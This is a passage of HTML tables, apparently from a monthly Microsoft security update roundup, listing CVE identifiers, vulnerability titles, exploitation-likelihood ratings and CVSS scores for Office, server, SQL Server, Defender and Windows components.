Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55034">CVE-2026-55034</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55126">CVE-2026-55126</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55135">CVE-2026-55135</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56157">CVE-2026-56157</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55050">CVE-2026-55050</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55124">CVE-2026-55124</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55142">CVE-2026-55142</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55032">CVE-2026-55032</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55033">CVE-2026-55033</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55127">CVE-2026-55127</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55055">CVE-2026-55055</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55038">CVE-2026-55038</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55132">CVE-2026-55132</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55134">CVE-2026-55134</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55128">CVE-2026-55128</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55130">CVE-2026-55130</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50387">CVE-2026-50387</a></td><td><p>Windows GDI Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Open Source Software vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40553">CVE-2026-40553</a></td><td><p>Stack-based buffer overflow in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40469">CVE-2026-40469</a></td><td><p>Heap buffer overflow in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40468">CVE-2026-40468</a></td><td><p>Heap buffer overflow in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40467">CVE-2026-40467</a></td><td><p>Use after free in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57968">CVE-2026-57968</a></td><td><p>Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57973">CVE-2026-57973</a></td><td><p>Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr></tbody></table><h3>Other vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50663">CVE-2026-50663</a></td><td><p>Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50510">CVE-2026-50510</a></td><td><p>GitHub Copilot Remote Code Execution Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55010">CVE-2026-55010</a></td><td><p>Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55145">CVE-2026-55145</a></td><td><p>Outlook Copilot Tampering Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>6.3</p></td></tr></tbody></table><h3>Server Software vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55006">CVE-2026-55006</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55009">CVE-2026-55009</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55005">CVE-2026-55005</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55008">CVE-2026-55008</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr></tbody></table><h3>SQL Server vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56642">CVE-2026-56642</a></td><td><p>Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58647">CVE-2026-58647</a></td><td><p>Microsoft PowerBI Report Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47296">CVE-2026-47296</a></td><td><p>Microsoft SQL Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55002">CVE-2026-55002</a></td><td><p>Microsoft SQL Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47295">CVE-2026-47295</a></td><td><p>Microsoft SQL Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50468">CVE-2026-50468</a></td><td><p>Microsoft SQL Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54116">CVE-2026-54116</a></td><td><p>Microsoft SQL Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54117">CVE-2026-54117</a></td><td><p>Microsoft SQL Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54118">CVE-2026-54118</a></td><td><p>Microsoft SQL Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr></tbody></table><h3>System Center vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50658">CVE-2026-50658</a></td><td><p>Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56178">CVE-2026-56178</a></td><td><p>Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50657">CVE-2026-50657</a></td><td><p>Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55011">CVE-2026-55011</a></td><td><p>Microsoft Defender Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55012">CVE-2026-55012</a></td><td><p>Microsoft Defender Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Windows vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54121">CVE-2026-54121</a></td><td><p>Active Directory Certificate Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50682">CVE-2026-50682</a></td><td><p>Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55001">CVE-2026-55001</a></td><td><p>Active Directory Domain Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50647">CVE-2026-50647</a></td><td><p>Active Directory Federation Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50684">CVE-2026-50684</a></td><td><p>Active Directory Federation Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56155">CVE-2026-56155</a></td><td><p>Active Directory Federation Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50488">CVE-2026-50488</a></td><td><p>Clipboard User Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50491">CVE-2026-50491</a></td><td><p>Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50381">CVE-2026-50381</a></td><td><p>Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50427">CVE-2026-50427</a></td><td><p>Content Delivery Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50692">CVE-2026-50692</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58633">CVE-2026-58633</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58634">CVE-2026-58634</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48564">CVE-2026-48564</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50370">CVE-2026-50370</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56159">CVE-2026-56159</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50296">CVE-2026-50296</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50375">CVE-2026-50375</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50353">CVE-2026-50353</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50493">CVE-2026-50493</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56643">CVE-2026-56643</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56644">CVE-2026-56644</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58629">CVE-2026-58629</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50382">CVE-2026-50382</a></td><td><p>DirectX Graphics Kernel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49174">CVE-2026-49174</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50495">CVE-2026-50495</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57088">CVE-2026-57088</a></td><td><p>Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49787">CVE-2026-49787</a></td><td><p>HTTP.sys Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50420">CVE-2026-50420</a></td><td><p>HTTP.sys Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49788">CVE-2026-49788</a></td><td><p>HTTP/2 Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50696">CVE-2026-50696</a></td><td><p>Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49162">CVE-2026-49162</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50305">CVE-2026-50305</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50361">CVE-2026-50361</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50466">CVE-2026-50466</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50458">CVE-2026-50458</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50329">CVE-2026-50329</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58541">CVE-2026-58541</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50343">CVE-2026-50343</a></td><td><p>Microsoft Install Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54992">CVE-2026-54992</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50439">CVE-2026-50439</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58537">CVE-2026-58537</a></td><td><p>Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42900">CVE-2026-42900</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49784">CVE-2026-49784</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50356">CVE-2026-50356</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49165">CVE-2026-49165</a></td><td><p>Microsoft Windows App Store Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54993">CVE-2026-54993</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58610">CVE-2026-58610</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50655">CVE-2026-50655</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56189">CVE-2026-56189</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57090">CVE-2026-57090</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57094">CVE-2026-57094</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57087">CVE-2026-57087</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57092">CVE-2026-57092</a></td><td><p>Microsoft Windows VMSwitch Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50359">CVE-2026-50359</a></td><td><p>Microsoft XML Core Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57097">CVE-2026-57097</a></td><td><p>Microsoft XML Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50346">CVE-2026-50346</a></td><td><p>Netlogon RPC Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50402">CVE-2026-50402</a></td><td><p>NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54989">CVE-2026-54989</a></td><td><p>Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50365">CVE-2026-50365</a></td><td><p>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54990">CVE-2026-54990</a></td><td><p>Remote Desktop Client Remote Code Execution 